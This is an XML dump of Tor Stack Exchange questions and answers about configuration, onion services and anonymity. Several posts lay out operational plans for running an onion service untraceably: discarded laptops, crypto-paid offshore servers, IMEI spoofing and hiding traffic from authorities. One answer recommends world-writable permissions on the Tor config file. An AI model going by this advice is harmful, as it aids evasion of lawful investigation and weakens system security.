  <row Id="23872" PostTypeId="1" CreationDate="2023-11-19T00:15:30.017" Score="0" ViewCount="15" Body="&lt;p&gt;I am testing watching videos and the Tor Browser client on Android often shows zero or very minimal download speed, even though the video plays fine. The Torbrowser still says that I am connected so everything should be fine but what bothers me is the zero or near zero download speed shown during the playback for much of the time, even if the video is in HD. What is happening? Does that mean that the problem is somewhat similar to the flash issue and the browser is connecting via the clearnet?&#xA;Tested on Android 13&lt;/p&gt;&#xA;" OwnerUserId="39199" LastActivityDate="2023-11-19T16:52:12.173" Title="Marginal download speed shown on Android, yet videos still play OK" Tags="|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23873" PostTypeId="2" ParentId="23872" CreationDate="2023-11-19T16:52:12.173" Score="0" Body="&lt;p&gt;HD video requires very moderate download speed, so the player was connected through a fast hop path and the download speed has to be &lt;strong&gt;just a bit&lt;/strong&gt; above the video bitrate speed to play it fine, that's why there's a feature called pre-buffering for a streamed content. It's not a problem you suspect&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-11-19T16:52:12.173" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23874" PostTypeId="1" CreationDate="2023-11-21T05:14:17.700" Score="1" ViewCount="10" Body="&lt;p&gt;I'm not computer expert. Just trying to learn. My problem is Chrome OS and Tor. Linux wont set up either. Says no space. Can anyone splain this to me please? I'm a 54 yr old woman. So I didn't grow up with computers. I know some but don't understand the lingo. I tried looking up answers. I am doing all this to not only learn but because I have had my ID stolen and it has been... h e double hockey sticks..... I want to be a little more in control. Oh... also can I use Linus with USB sticks?&lt;/p&gt;&#xA;" OwnerUserId="39207" LastActivityDate="2023-11-21T05:14:17.700" Title="Chrome OS and Tor. Linux wont set up either. Says no space" Tags="|linux|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23875" PostTypeId="1" CreationDate="2023-11-23T15:31:10.113" Score="0" ViewCount="29" Body="&lt;p&gt;does onion sites uses robot.txt files to hide or restrict crawlers? as i know normal webservices uses robot.txt files to stop google crwaler from knowing more about the website or limitaions. so does the onion site uses such files?&lt;/p&gt;&#xA;" OwnerUserId="39218" LastActivityDate="2023-11-26T12:00:26.927" Title="does onion sites uses any standard for blocking crawler" Tags="|configuration|onion-services|onion-routing|blocked-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23876" PostTypeId="1" AcceptedAnswerId="23879" CreationDate="2023-11-25T11:48:20.457" Score="0" ViewCount="60" Body="&lt;p&gt;I am planning on creating a new Tor service. It will be a website made in PHP/Laravel/Symfony, a database like MySQL and there will be a payment system for Monero transactions.&lt;/p&gt;&#xA;&lt;p&gt;I'm already familiar on how to host a website and how to deploy it as a onion service. The question I have is if the measurements I will be taking are sufficient to hide my identity.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;The laptop&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I will buy a dedicated laptop and install Linux on it together with the required development tools. After that the system proxy will be configured to run through Tor by default. So all connections are going through Tor.&lt;/p&gt;&#xA;&lt;p&gt;However, the laptop will be airgapped the whole time during development. If I need to go online to e.g deploy it, everything will go over Tor. I will never use this laptop for anything personal or login to a personal account.&lt;/p&gt;&#xA;&lt;p&gt;When the service is deployed. The laptop will be destroyed and thrown away.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Cleaning the project files&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I will remove the meta-data from all files and images including in the project using exiftool.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Purchasing the VPS&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;To put the project online I will search for a off-shore VPS-company which accept Bitcoin. To avoid monthly transactions I will buy the VPS for a long amount of time. I will download the required Bitcoin on the dedicated laptop and delete it again when the transaction for the VPS is done.&lt;/p&gt;&#xA;&lt;p&gt;Purchasing the VPS will be done using Tor and of course with a temporary-email.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Handling Monero&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;My service will accept Monero transactions. I will download a Monero wallet on my dedicated wallet and memorize the 25 word-seed by memory before deleting the wallet again. I will receive transactions in my wallet but will not access the wallet for a long time.&lt;/p&gt;&#xA;&lt;p&gt;My service also needs to use Monero's JSON-RPC to validate a transaction. Is it okay to call JSON-RPC directly from my VPS?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Maintaining and administrating the service&lt;/strong&gt;&#xA;My intention is to publish the service on my VPS and to not access it again. The laptop used for development will be destroyed immediately after deployment. So if in a worst-case scenario a update is required, I will buy a new laptop, download the files from the VPS, update them and upload it back to the VPS.&lt;/p&gt;&#xA;&lt;p&gt;Some administration/support must be delivered on the service. However, I will log in as few times as possible and the only support I will deliver is by answering basic chat messages. No files or URLs allowed in the chat.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Is this sufficient?&lt;/strong&gt;&#xA;Are these measurements sufficient to hide my identity to deploy a Tor Service anonymously? Are there other things I should consider?&lt;/p&gt;&#xA;" OwnerUserId="39224" LastActivityDate="2023-11-26T12:02:37.880" Title="Measurements to deploy a Tor Service anonymously" Tags="|onion-services|anonymity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23877" PostTypeId="2" ParentId="23537" CreationDate="2023-11-26T11:58:43.280" Score="0" Body="&lt;p&gt;You don't need to open any ports for nyx: it's using localhost. To specify it better add &lt;strong&gt;ControlListenAddress 127.0.0.1:9051&lt;/strong&gt; to your torrc and it will be just fine. Service names you're asking for is a bit weirdo related to the Linux &lt;em&gt;systemd&lt;/em&gt; - this setup allows you to have multiple tor instances running on your system - it's useful for multi-homed setups and for running a hidden services on the same physical host as well&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-11-26T11:58:43.280" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23878" PostTypeId="2" ParentId="23875" CreationDate="2023-11-26T12:00:26.927" Score="0" Body="&lt;p&gt;Yes, onion sites are just the same web sites with all the standards and conventions&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-11-26T12:00:26.927" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23879" PostTypeId="2" ParentId="23876" CreationDate="2023-11-26T12:02:37.880" Score="0" Body="&lt;p&gt;Looks sufficient, and you should run a minimal Monero node on your VPS to fire the JSON-RPC requests locally for increased anonymity&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-11-26T12:02:37.880" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23880" PostTypeId="1" AcceptedAnswerId="23881" CreationDate="2023-11-26T12:23:39.177" Score="0" ViewCount="41" Body="&lt;p&gt;I have enabled control port, using password authentication.&#xA;I run this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;telnet localhost 9051&#xA;Trying 127.0.0.1...&#xA;Connected to localhost.&#xA;Escape character is '^]'.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;With root is ok, I can send commands (autenticate, getinfo, etc.)&#xA;As normal user the connection is &amp;quot;freezed&amp;quot; and no command run is possible.&#xA;I also add my user to tor group, nothing change.&#xA;Those are settings in /etc/tor/torrc&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ControlPort 9051&#xA;HashedControlPassword *****&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What I miss?&lt;/p&gt;&#xA;" OwnerUserId="14214" LastActivityDate="2023-11-27T08:03:03.593" Title="Why tor allow only root to connect to control port?" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23881" PostTypeId="2" ParentId="23880" CreationDate="2023-11-27T08:03:03.593" Score="1" Body="&lt;p&gt;You're missing the local host configuration. The user-based connection issues on a tor side are only taking place when you are using Unix socket, not TCP socket&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-11-27T08:03:03.593" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23882" PostTypeId="1" CreationDate="2023-11-29T16:24:56.743" Score="0" ViewCount="264" Body="&lt;p&gt;I can't access onion links that I could access before. I tried using another computer and they still work. When I try to log in I get the error Details: 0xF0 — The requested onion service descriptor can't be found on the hashring and therefore the service is not reachable by the client.&#xA;Has anyone had this error before and been able to fix it?&#xA;Thank you&lt;/p&gt;&#xA;" OwnerUserId="39244" LastActivityDate="2023-12-04T15:41:13.897" Title="The onion link cannot be accessed" Tags="|tor-browser-bundle|onion-services|onion-routing|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23883" PostTypeId="1" CreationDate="2023-12-01T12:08:59.520" Score="0" ViewCount="59" Body="&lt;p&gt;I remember a long time ago I saw a software that had some sort of an IDE that allows for tor browser automation via script.&#xA;It work for windows, and it wasn’t selenium&#xA;Anyone has any idea?&#xA;Many thanks&#xA;Michal erel&lt;/p&gt;&#xA;" OwnerUserId="39256" LastActivityDate="2023-12-04T15:42:22.023" Title="Tor automation for windows" Tags="|windows|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23884" PostTypeId="2" ParentId="23882" CreationDate="2023-12-04T15:41:13.897" Score="0" Body="&lt;p&gt;Looks like your other PC with Tor can not bootstrap properly or suffers censorship while working. Attach your logs for more detailed help - but even with the data you've provided - try pre-seeding the faulty computer via another working Internet channel, like mobile 4G: the traffic will not be the issue, wait until it will bootstrap to 100% and try reaching your onion then. If it works - you can swap back your connection and it will use the actual consensus. Also - consider using your working PC as a private bridge for a non-working one, it helps sometimes&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-12-04T15:41:13.897" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23885" PostTypeId="2" ParentId="23883" CreationDate="2023-12-04T15:42:22.023" Score="0" Body="&lt;p&gt;It was called Vidalia, sadly it was discontinued&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-12-04T15:42:22.023" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="23886" PostTypeId="1" CreationDate="2023-12-04T18:23:04.187" Score="0" ViewCount="31" Body="&lt;p&gt;I have a git server as a hidden service with v3 auth enabled on it. I of course can browse to the site supplying my private key. I cannot clone from the site over http, because I assume it is expecting the private key. I am using torsocks in conjunction with git, which works when v3 auth is not enabled, but fails when v3 auth is enabled. Is there a configuration that allows torsocks to supply the private key? For instance if I wanted to wget with a private key. Just wondering if anyone has insight, it would be very helpful.&lt;/p&gt;&#xA;" OwnerUserId="39271" LastActivityDate="2023-12-05T12:22:16.373" Title="git with tor v3 auth key" Tags="|torsocks|authentication|git|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23887" PostTypeId="2" ParentId="23886" CreationDate="2023-12-05T12:22:16.373" Score="1" Body="&lt;p&gt;Did you try adding the private key to your 'ClientOnionAuthDir' directory specified in your torrc as described here &lt;a href=&quot;https://community.torproject.org/onion-services/advanced/client-auth/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://community.torproject.org/onion-services/advanced/client-auth/&lt;/a&gt;? From what I gather your tor instance should then handle it appropriatley.&lt;/p&gt;&#xA;" OwnerUserId="38675" LastActivityDate="2023-12-05T12:22:16.373" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23888" PostTypeId="1" CreationDate="2023-12-07T02:46:59.563" Score="0" ViewCount="43" Body="&lt;p&gt;There is still a lot of confusion on whether it is more safe to use Tor in combination with a VPN or not. It seems that everyone's favorite phrase to answer this question is &amp;quot;it depends on the use-case&amp;quot;. My specific use-case is that I am planning on running and managing a hidden Tor service.&lt;/p&gt;&#xA;&lt;p&gt;Which means that I will a) use Tor a lot, so my ISP will notice a unusual amount of Tor traffic coming from me. And b) I will be visiting the same Tor-website a lot. c) I won't only use Tor a lot, but my sessions will also be active for a long time (managing takes time).&lt;/p&gt;&#xA;&lt;p&gt;So for this use-case, would it be advisable to combine a VPN with Tor? I think that in this case it would be somewhat advisable because otherwise my ISP would notice the big amount of Tor traffic and may notify authorities.&lt;/p&gt;&#xA;&lt;p&gt;Would it be smart to purchase a privacy-respecting off-shore VPS who can be paid in crypto and host a VPN-server there using OpenVPN? Of course the hosting provider for my VPN would be a different one then the one for my Tor service.&lt;/p&gt;&#xA;&lt;p&gt;And by hosting my own VPN: Wouldn't that also mean that I for example could cancel my VPS each month and take another one, resulting in a dead-end for everyone trying to trace my connection? E.g, my connection: Me &amp;gt; VPN &amp;gt; Tor 1 &amp;gt; Tor 2 &amp;gt; Tor 3 &amp;gt; My hidden service. If someone would try to trace the connection back to Me (by for example having control over the used Tor nodes) they would still stumble on a dead-end at &amp;quot;VPN&amp;quot; because I'd often take it down/change server?&lt;/p&gt;&#xA;&lt;p&gt;Or is it just a better idea to host my own bridge relay?&lt;/p&gt;&#xA;" OwnerUserId="39224" LastActivityDate="2023-12-08T09:23:28.163" Title="Using a VPN for managing a Tor service" Tags="|vpn|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23889" PostTypeId="1" CreationDate="2023-12-07T03:19:48.250" Score="0" ViewCount="57" Body="&lt;p&gt;I am planning on hosting and managing a hidden Tor service on a off-shore VPS paid by crypto. This however means that my ISP would notice a unusual amount of Tor-traffic coming from me which could raise some alarm. I want to avoid this.&lt;/p&gt;&#xA;&lt;p&gt;One way to avoid this is by using a VPN in combination with Tor. But maybe it is also possible to just use a bridge relay? It seems to be possible to use a bridge relay as entry node not listed publicly as Tor node meaning that the ISP won't know I am using Tor.&lt;/p&gt;&#xA;&lt;p&gt;So I was thinking of hosting my own Tor bridge relay, again using a off-shore VPS paid anonymously in crypto. Of course another hosting provider then the one hosting my Tor service. Then I'd configure Tor to always use that bridge relay as entry node.&lt;/p&gt;&#xA;&lt;p&gt;But is this safe? Because using Tor normally the entry node is always different and random. If I'd configure Tor to always use the same entry node, wouldn't that make it easier to track me?&lt;/p&gt;&#xA;&lt;p&gt;Me &amp;gt; Tor 1 &amp;gt; Tor 2 &amp;gt; Tor 3 &amp;gt; My hidden service.&lt;/p&gt;&#xA;&lt;p&gt;The chance that a government organisation controls the three nodes in my connection are small. But if Tor 1 would be my own bridge relay I always use in each connection, the chance of Tor 2 and 3 being controlled by a government are a lot bigger!&lt;/p&gt;&#xA;&lt;p&gt;Also, if I by accident leave a payment- or communication-trail while buying/configuring my bridge relay my identity will be at risk.&lt;/p&gt;&#xA;&lt;p&gt;So wouldn't it just be safer to use a VPN?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Also:&lt;/strong&gt; The dilemma I am having is that a) I don't want my ISP to know I am using Tor, so I can't use a publicly known Tor entry node and b) using the same bridge relay (I have bought and configured myself) for each connection seems risky. Do there exist pools of people who host their own bridge relay and only communicate their bridge relay to a limited array of people? If a group of e.g 15 people would all host their own bridge relay and only share their bridge relay in that group, it would be hidden from the ISP and tracking would be more difficult.&lt;/p&gt;&#xA;" OwnerUserId="39224" LastActivityDate="2023-12-08T09:17:20.993" Title="Self-hosting a bridge relay for my connections?" Tags="|bridge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23890" PostTypeId="1" CreationDate="2023-12-07T05:06:07.750" Score="0" ViewCount="33" Body="&lt;p&gt;What you want to avoid when using Tor is someone finding out the IP of your wifi network. But what if I would use a 4G dongle with a unregistered SIM-card? I would only use the 4G dongle when using Tor and I would never login to a personal account or use the 4G dongle for something personal.&lt;/p&gt;&#xA;&lt;p&gt;Wouldn't this make me extremely hard to track? I could even use a Raspberry Pi with a SIM-card as a 4G dongle and spoof the IMEI of the Rapsberry Pi device AND connect a high gain directional antenna to the Raspberry so the 4G connects to cellular towers further away then normally.&lt;/p&gt;&#xA;&lt;p&gt;Of course my location could still be somehow determined using triangulation but never accurate enough to actually isolate my in a crowded environment.&lt;/p&gt;&#xA;" OwnerUserId="39224" LastActivityDate="2023-12-08T09:13:34.937" Title="Tor + 4G dongle" Tags="|anonymity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23891" PostTypeId="1" CreationDate="2023-12-07T05:50:09.400" Score="0" ViewCount="36" Body="&lt;p&gt;I was thinking of a way to encrypt the content of the VPS on which a Tor service runs. I would buy two VPS servers anonymously using crypto. The two VPS-servers will come from different hosting providers located in different countries.&lt;/p&gt;&#xA;&lt;p&gt;On the first VPS (Storage) I will create a empty file of e.g 100GB. I will make this file accessible by using SSHFS.&#xA;On the second VPS (Tor service) I will mount the file on the first VPS using LUKS. By using LUKS I can create an encrypted file-system of 100GB using the file from the storage VPS.&lt;/p&gt;&#xA;&lt;p&gt;This way the provider of the storage VPS can only see encrypted garbage. And while the provider of the Tor service VPS has the LUKS to view the content, it cannot easily access the content because it being on another VPS.&lt;/p&gt;&#xA;&lt;p&gt;Is this an advantage or no?&lt;/p&gt;&#xA;" OwnerUserId="39224" LastActivityDate="2023-12-08T09:11:33.250" Title="Encrypt VPS of Tor service" Tags="|vps|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23892" PostTypeId="2" ParentId="23891" CreationDate="2023-12-08T09:11:33.250" Score="0" Body="&lt;p&gt;Good idea, but keep in mind, that VPS is a &lt;em&gt;virtualized&lt;/em&gt; slice of machine, so it's memory can be inspected by the hypervisor's owner - and the encryption key can be extracted seamlessly. Unless AMD SEV with attestation is used. So - the right way is to use a dedicated box for it&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-12-08T09:11:33.250" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23893" PostTypeId="2" ParentId="23890" CreationDate="2023-12-08T09:13:34.937" Score="0" Body="&lt;p&gt;well, it will make you &lt;em&gt;harder&lt;/em&gt; to track, for sure - but not impossible. Your Wifi address is totally harmless to disclose: a 192.168.0.0/24 network is all around the globe, so it's not an issue at all :)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-12-08T09:13:34.937" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23894" PostTypeId="2" ParentId="23889" CreationDate="2023-12-08T09:17:20.993" Score="0" Body="&lt;p&gt;It's a right thing to do to host your own bridges - especially private ones! It will not compromise your privacy but it will greatly improve the connection quality and stability&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-12-08T09:17:20.993" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23895" PostTypeId="2" ParentId="23888" CreationDate="2023-12-08T09:23:28.163" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;Tor traffic - if noticed - does &lt;strong&gt;not&lt;/strong&gt; disclose what's inside it, so your ISP can notify authorities, neighbors or holy God himself - it's legal to use Tor&lt;/li&gt;&#xA;&lt;li&gt;VPN traffic is like a Tor one, but it can be investigated by authorities you're worrying about if they will request the VPN server's hoster where the packets are going, but they need a fully-built criminal case to make such a request. If you're doing nothing illegal - just be calm about that&lt;/li&gt;&#xA;&lt;li&gt;OpenVPN and WireGuard are the best, so use any of them. If you're using OpenVPN - make sure to set up your own easyRSA certificates with all checks enforced!&lt;/li&gt;&#xA;&lt;li&gt;Changing VPS changes nothing :)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-12-08T09:23:28.163" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23896" PostTypeId="1" AcceptedAnswerId="23901" CreationDate="2023-12-08T15:30:37.997" Score="0" ViewCount="76" Body="&lt;h2&gt;Context&lt;/h2&gt;&#xA;&lt;p&gt;After having written a script that automatically sets up a &lt;code&gt;Leader&lt;/code&gt; machine and &lt;code&gt;Follower&lt;/code&gt; machine to allow the &lt;code&gt;Leader&lt;/code&gt; machine to &lt;code&gt;ssh&lt;/code&gt; into the &lt;code&gt;Follower&lt;/code&gt;over &lt;code&gt;tor&lt;/code&gt; using &lt;code&gt;torsocks&lt;/code&gt;, I am experiencing some difficulties accessing the &lt;code&gt;Follower&lt;/code&gt; inside the virtualbox from the &lt;code&gt;Leader&lt;/code&gt; (the host).&lt;/p&gt;&#xA;&lt;h2&gt;Functionalities&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I can&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pre&gt;&lt;code&gt;torsocks ssh -p 22 &amp;lt;follower username&amp;gt;@&amp;lt;follower onion domain&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;from &lt;code&gt;Follower&lt;/code&gt; into &lt;code&gt;Follower&lt;/code&gt;. However, I *&lt;em&gt;cannot&lt;/em&gt; ssh from &lt;code&gt;Leader&lt;/code&gt; into &lt;code&gt;Follower&lt;/code&gt; over tor.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I can:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pre&gt;&lt;code&gt;ssh -p 2222 &amp;lt;follower username&amp;gt;@127.0.0.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;From &lt;code&gt;Leader&lt;/code&gt; into &lt;code&gt;Follower&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h2&gt;Port Forwarding Configuration in Virtualbox&lt;/h2&gt;&#xA;&lt;p&gt;The above functionalities are facilitated by the following port-forwarding settings on the Ubuntu virtual box image using:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;HostIP=127.0.0.1,&lt;/li&gt;&#xA;&lt;li&gt;Host Port=2222,&lt;/li&gt;&#xA;&lt;li&gt;GuestIP=10.0.x.y, (Output of &lt;code&gt;Hostname -I&lt;/code&gt; on &lt;code&gt;Follower&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;GuestPort=22&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;Torrc Configuration&lt;/h2&gt;&#xA;&lt;p&gt;The &lt;code&gt;/etc/tor/torrc&lt;/code&gt; content on the &lt;code&gt;Follower&lt;/code&gt; device is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# SocksPort 9051&#xA;HiddenServiceDir /var/lib/tor/ssh&#xA;HiddenServicePort 22 127.0.0.1:22&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;SocksPort 9051&lt;/code&gt; was aimed at allowing the &lt;code&gt;Leader&lt;/code&gt; device &lt;code&gt;ssh&lt;/code&gt; access into the &lt;code&gt;Follower&lt;/code&gt;, but it did not work, and it prevented the &lt;code&gt;Follower&lt;/code&gt; from &lt;code&gt;ssh&lt;/code&gt; accessing itself over tor.&lt;/p&gt;&#xA;&lt;h2&gt;Question&lt;/h2&gt;&#xA;&lt;p&gt;How can I ensure the &lt;code&gt;Leader&lt;/code&gt; is able to &lt;code&gt;ssh&lt;/code&gt; into the &lt;code&gt;Follower&lt;/code&gt; over tor? (E.g. which port settings should be used in the &lt;code&gt;/etc/tor/torrc&lt;/code&gt; file, and in the port forwarding settings in virtualbox and in the ssh commands?)&lt;/p&gt;&#xA;" OwnerUserId="32892" LastActivityDate="2023-12-11T16:13:20.743" Title="SSH from host into virtual machine over tor" Tags="|configuration|ssh|virtual-machine|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23897" PostTypeId="2" ParentId="23896" CreationDate="2023-12-08T16:55:23.397" Score="1" Body="&lt;p&gt;You need Tor's DNS port on the Leader to be in &lt;code&gt;/etc/resolv.conf&lt;/code&gt; as a primary one, so dot-onion hostname for Follower will be resolvable into Tor's virtual network mapped. Your problem starts when the SSH tries to resolve dot-onion name - it fails.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-12-08T16:55:23.397" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23898" PostTypeId="1" CreationDate="2023-12-09T20:23:41.267" Score="0" ViewCount="78" Body="&lt;p&gt;I was thinking about how to block outgoing traffic on a server hosting a hidden service. I could lock down this server via iptables, but that does nothing for me if someone gets root (still gonna do it regardless). I also thought about routing all traffic to a hardware firewall and only allowing the tor port. But then I realized someone could easily send an outbound netcat connection through the open port on the firewall. Then I thought, what if on the firewall on the tor port, if I could limit traffic based on the protocol itself, so only tor related traffic could get through.&lt;/p&gt;&#xA;&lt;p&gt;Has anyone solved this situation, and how were you able to do it?&lt;/p&gt;&#xA;" OwnerUserId="39271" LastActivityDate="2023-12-10T08:41:47.220" Title="Allow only tor traffic" Tags="|onion-services|firewall|iptables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23899" PostTypeId="2" ParentId="23898" CreationDate="2023-12-10T08:41:47.220" Score="0" Body="&lt;p&gt;Root is an adversary indefendable against: if it's breached - you're fucked. On any OS: Unix, Linux, Windows and all the rest of them. The use of the root account is a can-do-everything one: to fix something or tweak sensitive system parts. If you're having a VPS - just use IPTables: the hypervisor's owner(your hoster) will have full access even to the server's memory without you ever knowing it! If you're hosting a dedicated box - use virtualisation, &lt;strong&gt;not Docker&lt;/strong&gt;! And in a virtualized machine add only single host-only network adapter to that VM and rule it via.. IPTables, but on a hypervisor host&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-12-10T08:41:47.220" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23900" PostTypeId="2" ParentId="22524" CreationDate="2023-12-11T13:18:58.090" Score="0" Body="&lt;p&gt;An effective solution was found by running:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo touch /etc/tor/torrc&#xA;sudo chmod 777 /etc/tor/torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This allowed tor to be ran without sudo.&lt;/p&gt;&#xA;&lt;h2&gt;Hidden Services&lt;/h2&gt;&#xA;&lt;p&gt;To also allow hidden services whilst running tor without sudo priviliges, I had to include:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo chmod 700 -R /var/lib/tor/&#xA;sudo chown -R &amp;quot;$normal_username&amp;quot; /var/lib/tor/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;where &lt;code&gt;$normal_username&lt;/code&gt; is the name of the user from which you want to run tor, e.g. the output of &lt;code&gt;$(whoami)&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;An example of such a hidden service can be an onion domain to allow one to &lt;code&gt;ssh&lt;/code&gt; into the device, where the onion domain for ssh is located in &lt;code&gt;/var/lib/tor/ssh/hostname&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;After this, you should be able to run &lt;code&gt;tor&lt;/code&gt; without it throwing an error (assuming &lt;code&gt;sudo tor&lt;/code&gt; worked before).&lt;/p&gt;&#xA;" OwnerUserId="32892" LastActivityDate="2023-12-11T13:18:58.090" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23901" PostTypeId="2" ParentId="23896" CreationDate="2023-12-11T16:13:20.743" Score="0" Body="&lt;p&gt;The issue was in the &lt;code&gt;/etc/tor/torrc&lt;/code&gt; configuration of the Leader, which still had content:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 9051&#xA;HiddenServiceDir /var/lib/tor/ssh&#xA;HiddenServicePort 22 127.0.0.1:22&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Due to previous debugging/developer efforts. After removing the &lt;code&gt;SocksPort 9051&lt;/code&gt; from that file, and restarting the tor service with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo systemctl enable tor.service&#xA;sudo systemctl reload tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I was able to start tor without sudo using &lt;code&gt;tor&lt;/code&gt; in another terminal. This then allowed me to ssh into the Follower device over tor with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;torsocks ssh &amp;lt;Follower Username&amp;gt;@&amp;lt;some_onion_domain&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="32892" LastActivityDate="2023-12-11T16:13:20.743" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23902" PostTypeId="1" CreationDate="2023-12-11T22:45:01.590" Score="0" ViewCount="125" Body="&lt;p&gt;If you remove a Tails USB from your computer, which is running from the Tails USB, will it factory reset your computer or delete all the memory that was already on the computer before Tails?&lt;/p&gt;&#xA;" OwnerUserId="39298" LastActivityDate="2023-12-12T23:26:19.940" Title="removing Tails USB: Effect on computer" Tags="|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23903" PostTypeId="2" ParentId="23902" CreationDate="2023-12-12T23:26:19.940" Score="0" Body="&lt;p&gt;Removing Tails USB will only erase the &amp;quot;volatile&amp;quot; memory (&lt;a href=&quot;https://en.wikipedia.org/wiki/Random-access_memory&quot; rel=&quot;nofollow noreferrer&quot;&gt;RAM&lt;/a&gt;), and will not affect your hard drive or any other storage.&lt;/p&gt;&#xA;" OwnerUserId="31318" LastActivityDate="2023-12-12T23:26:19.940" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
